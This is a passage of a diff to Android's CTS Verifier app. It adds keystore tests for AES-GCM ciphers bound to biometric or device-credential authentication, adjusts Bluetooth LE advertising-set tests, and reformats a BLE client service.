+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.hardware.biometrics.BiometricPrompt;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import javax.crypto.Cipher;
+import javax.crypto.KeyGenerator;
+
+/**
+ * An abstract base class to add Aead Cipher tests.
+ */
+public abstract class AbstractUserAuthenticationAeadCipherTest
+        extends AbstractUserAuthenticationTest {
+    private Cipher mCipher;
+
+    @Override
+    void createUserAuthenticationKey(String keyName, int timeout, int authType,
+            boolean useStrongBox) throws Exception {
+        KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
+                keyName, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT);
+        builder.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
+                .setUserAuthenticationRequired(true)
+                .setUserAuthenticationParameters(timeout, authType)
+                .setIsStrongBoxBacked(useStrongBox);
+
+        KeyGenerator keyGenerator = KeyGenerator.getInstance(
+                KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
+        keyGenerator.init(builder.build());
+        keyGenerator.generateKey();
+    }
+
+    @Override
+    void initializeKeystoreOperation(String keyName) throws Exception {
+        mCipher = Utils.initAeadCipher(keyName);
+    }
+
+    @Override
+    BiometricPrompt.CryptoObject getCryptoObject() {
+        return new BiometricPrompt.CryptoObject(mCipher);
+    }
+
+    @Override
+    void doKeystoreOperation(byte[] payload) throws Exception {
+        try {
+            byte[] aad = "Test aad data".getBytes();
+            mCipher.updateAAD(aad);
+            Utils.doEncrypt(mCipher, payload);
+        } finally {
+            mCipher = null;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java
new file mode 100644
index 0000000..b2ab3ed
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type AUTH_BIOMETRIC_STRONG.
+ */
+public class UserAuthenticationBiometricAeadCipherTest
+        extends AbstractUserAuthenticationAeadCipherTest {
+
+    private static final String TAG = UserAuthenticationBiometricAeadCipherTest.class
+                                        .getSimpleName();
+
+    @Override
+    String getTag() {
+        return TAG;
+    }
+
+    @Override
+    int getInstructionsResourceId() {
+        return R.string.biometric_test_set_user_authentication_biometric_instructions;
+    }
+
+    @Override
+    ExpectedResults getExpectedResults() {
+        return new ExpectedResults() {
+            @Override
+            boolean shouldCredentialUnlockPerUseKey() {
+                return false;
+            }
+
+            @Override
+            boolean shouldCredentialUnlockTimedKey() {
+                return false;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockTimedKey() {
+                return true;
+            }
+        };
+    }
+
+    @Override
+    int getKeyAuthenticators() {
+        return KeyProperties.AUTH_BIOMETRIC_STRONG;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java
new file mode 100644
index 0000000..6c0d735
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type
+ * AUTH_DEVICE_CREDENTIAL | AUTH_BIOMETRIC_STRONG.
+ */
+public class UserAuthenticationBiometricOrCredentialAeadCipherTest
+        extends AbstractUserAuthenticationAeadCipherTest {
+
+    private static final String TAG = UserAuthenticationBiometricOrCredentialAeadCipherTest.class
+                                            .getSimpleName();
+
+    @Override
+    String getTag() {
+        return TAG;
+    }
+
+    @Override
+    int getInstructionsResourceId() {
+        return R.string.biometric_test_set_user_authentication_biometric_or_credential_instructions;
+    }
+
+    @Override
+    ExpectedResults getExpectedResults() {
+        return new ExpectedResults() {
+            @Override
+            boolean shouldCredentialUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldCredentialUnlockTimedKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockTimedKey() {
+                return true;
+            }
+        };
+    }
+
+    @Override
+    int getKeyAuthenticators() {
+        return KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java
new file mode 100644
index 0000000..27925d2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type AUTH_DEVICE_CREDENTIAL.
+ */
+public class UserAuthenticationCredentialAeadCipherTest
+        extends AbstractUserAuthenticationAeadCipherTest {
+
+    private static final String TAG = UserAuthenticationCredentialAeadCipherTest.class
+                                        .getSimpleName();
+
+    @Override
+    String getTag() {
+        return TAG;
+    }
+
+    @Override
+    int getInstructionsResourceId() {
+        return R.string.biometric_test_set_user_authentication_credential_instructions;
+    }
+
+    @Override
+    ExpectedResults getExpectedResults() {
+        return new ExpectedResults() {
+            @Override
+            boolean shouldCredentialUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldCredentialUnlockTimedKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockPerUseKey() {
+                return false;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockTimedKey() {
+                return false;
+            }
+        };
+    }
+
+    @Override
+    int getKeyAuthenticators() {
+        return KeyProperties.AUTH_DEVICE_CREDENTIAL;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index e5cd1f3..54b8ca8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,11 +19,8 @@
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
-import android.content.res.Resources;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
-import android.util.Log;
-import android.widget.Toast;
 
 import java.security.KeyStore;
 import java.security.PrivateKey;
@@ -88,6 +85,18 @@
         return cipher;
     }
 
+    static Cipher initAeadCipher(String keyName) throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        SecretKey secretKey = (SecretKey) keyStore.getKey(keyName, null);
+
+        Cipher cipher = Cipher.getInstance(KeyProperties.KEY_ALGORITHM_AES + "/"
+                + KeyProperties.BLOCK_MODE_GCM + "/"
+                + KeyProperties.ENCRYPTION_PADDING_NONE);
+        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
+        return cipher;
+    }
+
     static Signature initSignature(String keyName) throws Exception {
         KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
         keyStore.load(null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
index e02b122..164992b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -117,10 +117,9 @@
                     @Override
                     public void run() {
                         if (!mBluetoothAdapter.isEnabled()) {
-                            assertTrue(BtAdapterUtils.enableAdapter(mBluetoothAdapter,
-                                    BleAdvertisingSetTestActivity.this));
                             // If BluetoothAdapter was previously not enabled, we need to get the
                             // BluetoothLeAdvertiser instance again.
+                            mBluetoothAdapter.enable();
                             mAdvertiser = mBluetoothAdapter.getBluetoothLeAdvertiser();
                         }
 
@@ -139,8 +138,7 @@
                         }
 
                         // Disable bluetooth adapter
-                        assertTrue(BtAdapterUtils.disableAdapter(mBluetoothAdapter,
-                                BleAdvertisingSetTestActivity.this));
+                        mBluetoothAdapter.disable();
 
                         BleAdvertisingSetTestActivity.this.runOnUiThread(new Runnable() {
                             @Override
@@ -185,16 +183,17 @@
     private void testEnableAndDisableAdvertising() throws InterruptedException {
         mCallback.reset();
 
-        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 1,
-                /* maxExtendedAdvertisingEvents= */ 1);
+        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
         assertTrue(mCallback.mAdvertisingEnabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingEnabledStatus.get());
 
-        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ false, /* duration= */ 1,
-                /* maxExtendedAdvertisingEvents= */ 1);
+        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ false, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
         assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
 
+
         mAllTestsPassed |= PASS_FLAG_ENABLE_DISABLE;
         mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_ENABLE_DISABLE);
     }
@@ -224,8 +223,8 @@
     private void testSetAdvertisingParameters() throws InterruptedException {
         mCallback.reset();
 
-        mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 1,
-                /* maxExtendedAdvertisingEvents= */1);
+        mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
         assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
 
@@ -245,10 +244,21 @@
     // The following order of commands follows the diagram of Bluetooth Core Specification,
     // Version 5.3, Vol 6, Part D, Figure 3.7: Periodic advertising.
     private void testPeriodicAdvertising() throws InterruptedException {
+        if (!mBluetoothAdapter.isLePeriodicAdvertisingSupported()) {
+            mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS
+                    | PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA
+                    | PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
+            return;
+        }
+
         mCallback.reset();
 
         mCallback.mAdvertisingSet.get().setAdvertisingParameters(
                 new AdvertisingSetParameters.Builder().build());
+
         assertTrue(mCallback.mAdvertisingParametersUpdatedLatch.await(TIMEOUT_MS,
                 TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingParametersUpdatedStatus.get());
@@ -262,6 +272,13 @@
         mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS;
         mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
 
+        // Enable advertising before periodicAdvertising
+        // If the advertising set is not currently enabled (see the
+        // HCI_LE_Set_Extended_Advertising_Enable command), the periodic
+        // advertising is not started until the advertising set is enabled.
+        mCallback.mAdvertisingSet.get().enableAdvertising(true, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
+
         mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(true);
         assertTrue(mCallback.mPeriodicAdvertisingEnabledLatch.await(TIMEOUT_MS,
                 TimeUnit.MILLISECONDS));
@@ -277,11 +294,15 @@
         mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
 
         mCallback.mAdvertisingSet.get().setPeriodicAdvertisingEnabled(false);
+        // Disable advertising after periodicAdvertising
+        mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
         assertTrue(mCallback.mPeriodicAdvertisingDisabledLatch.await(TIMEOUT_MS,
                 TimeUnit.MILLISECONDS));
         assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingDisabledStatus.get());
 
         mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+
         mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 746c894..21e2877 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -59,10 +59,12 @@
     // (termination signal will not be sent)
     // This flag switches to turn Bluetooth off instead of BluetoothGatt#disconnect().
     // If true, test will turn Bluetooth off. Otherwise, will call BluetoothGatt#disconnect().
-    public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON = (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
+    public static final boolean DISCONNECT_BY_TURN_BT_OFF_ON =
+            (Build.VERSION.SDK_INT > Build.VERSION_CODES.M);
 
     // for Version 1 test
-//    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_AUTO;
+//    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice
+//    .TRANSPORT_AUTO;
     // for Version 2 test
     private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
 
@@ -118,6 +120,8 @@
             "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
     public static final String BLE_PHY_READ =
             "com.android.cts.verifier.bluetooth.BLE_PHY_READ";
+    public static final String BLE_PHY_READ_SKIPPED =
+            "com.android.cts.verifier.bluetooth.BLE_PHY_READ_SKIPPED";
     public static final String BLE_ON_SERVICE_CHANGED =
             "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
     public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
@@ -183,17 +187,21 @@
     public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
     public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION";
     public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_READ_AUTHENTICATED_CHARACTERISTIC";
     public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC =
-            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_CHARACTERISTIC";
     public static final String BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_AUTHENTICATED_DESCRIPTOR";
     public static final String BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR =
@@ -282,7 +290,7 @@
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
     private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
-        UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+            UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
 
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
@@ -338,7 +346,8 @@
     public void onCreate() {
         super.onCreate();
 
-        registerReceiver(mBondStatusReceiver, new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+        registerReceiver(mBondStatusReceiver,
+                new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
 
         mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
         mBluetoothAdapter = mBluetoothManager.getAdapter();
@@ -403,7 +412,7 @@
                             reliableWrite();
                         }
                     });
-                break;
+                    break;
                 case BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC:
                     setNotification(INDICATE_CHARACTERISTIC_UUID, true);
                     break;
@@ -415,15 +424,20 @@
                             mNotifyCount = 16;
                             setNotification(UPDATE_CHARACTERISTIC_UUID, true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_1,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_2,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_3,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_4,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_5,
+                                    true);
                             waitForDisableNotificationCompletion();
                             setNotification(UPDATE_CHARACTERISTIC_UUID_6, true);
                             waitForDisableNotificationCompletion();
@@ -435,19 +449,24 @@
                             waitForDisableNotificationCompletion();
                             setNotification(UPDATE_CHARACTERISTIC_UUID_10, true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_11,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_12,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_13,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_14,
+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15,
+                                    true);
                             waitForDisableNotificationCompletion();
                         }
                     });
-                break;
+                    break;
                 case BLE_CLIENT_ACTION_READ_DESCRIPTOR:
                     readDescriptor(DESCRIPTOR_UUID);
                     break;
@@ -486,7 +505,8 @@
                     readDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_READ_UUID);
                     break;
                 case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
-                    writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+                    writeDescriptor(CHARACTERISTIC_RESULT_UUID,
+                            DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
                     break;
                 case BLE_CLIENT_ACTION_READ_PHY:
                     if (mBluetoothGatt != null) {
@@ -520,18 +540,35 @@
         mTaskQueue.quit();
     }
 
-    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context, boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
+    /**
+     * Connect to GATT Server hosted by this device. Caller acts as GATT client.
+     * The callback is used to deliver results to Caller, such as connection status as well
+     * as any further GATT client operations.
+     * The method returns a BluetoothGatt instance. You can use BluetoothGatt to conduct
+     * GATT client operations.
+     *
+     * @param callback GATT callback handler that will receive asynchronous callbacks.
+     * @param autoConnect Whether to directly connect to the remote device (false) or to
+     * automatically connect as soon as the remote device becomes available (true).
+     * @param isSecure Whether to use transport mode for secure connection (true or false)
+     * @throws IllegalArgumentException if callback is null
+     */
+    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+            boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
             if (isSecure) {
                 if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
-                    Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT).show();
+                    Toast.makeText(context, "connectGatt(transport=AUTO)",
+                            Toast.LENGTH_SHORT).show();
                 } else {
                     Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
                 }
-                return device.connectGatt(context, autoConnect, callback, TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+                return device.connectGatt(context, autoConnect, callback,
+                        TRANSPORT_MODE_FOR_SECURE_CONNECTION);
             } else {
                 Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
-                return device.connectGatt(context, autoConnect, callback, BluetoothDevice.TRANSPORT_LE);
+                return device.connectGatt(context, autoConnect, callback,
+                        BluetoothDevice.TRANSPORT_LE);
             }
         } else {
             Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
@@ -566,7 +603,8 @@
         }
     }
 
-    private void writeCharacteristic(BluetoothGattCharacteristic characteristic, String writeValue) {
+    private void writeCharacteristic(BluetoothGattCharacteristic characteristic,
+            String writeValue) {
         if (characteristic != null) {
             // Note: setValue() should not be necessary when using writeCharacteristic(byte[]) which
             // is added on Android T, but here we call the method in order to make the test
@@ -580,7 +618,7 @@
 
     private void writeCharacteristic(UUID uid, String writeValue) {
         BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
-        if (characteristic != null){
+        if (characteristic != null) {
             writeCharacteristic(characteristic, writeValue);
         }
     }
@@ -665,14 +703,15 @@
         if (shouldSend) {
             // This is to send result to the connected GATT server.
             writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
-                SERVICE_CHANGED_VALUE);
+                    SERVICE_CHANGED_VALUE);
         }
     }
 
     private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
         if (characteristic != null) {
             mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
-            BluetoothGattDescriptor descriptor = characteristic.getDescriptor(UPDATE_DESCRIPTOR_UUID);
+            BluetoothGattDescriptor descriptor = characteristic.getDescriptor(
+                    UPDATE_DESCRIPTOR_UUID);
             if (enable) {
                 if (characteristic.getUuid().equals(INDICATE_CHARACTERISTIC_UUID)) {
                     descriptor.setValue(BluetoothGattDescriptor.ENABLE_INDICATION_VALUE);
@@ -686,8 +725,9 @@
         }
     }
 
-    private void setNotification(UUID serviceUid, UUID characteristicUid,  boolean enable) {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid, characteristicUid);
+    private void setNotification(UUID serviceUid, UUID characteristicUid, boolean enable) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid,
+                characteristicUid);
         if (characteristic != null) {
             setNotification(characteristic, enable);
         }
@@ -696,7 +736,7 @@
     private void setNotification(UUID uid, boolean enable) {
         BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
         if (characteristic != null) {
-           setNotification(characteristic, enable);
+            setNotification(characteristic, enable);
         }
     }
 
@@ -869,6 +909,12 @@
         sendBroadcast(intent);
     }
 
+    private void notifyPhyReadSkipped() {
+        showMessage("Phy read not supported. Skipping the test.");
+        Intent intent = new Intent(BLE_PHY_READ_SKIPPED);
+        sendBroadcast(intent);
+    }
+
     private void notifyServiceChanged() {
         showMessage("Remote service changed");
         Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
@@ -911,6 +957,7 @@
         }
         return characteristic;
     }
+
     private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
         BluetoothGattCharacteristic characteristic = null;
 
@@ -991,7 +1038,10 @@
         @Override
         public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
             super.onConnectionStateChange(gatt, status, newState);
-            if (DEBUG) Log.d(TAG, "onConnectionStateChange: status= " + status + ", newState= " + newState);
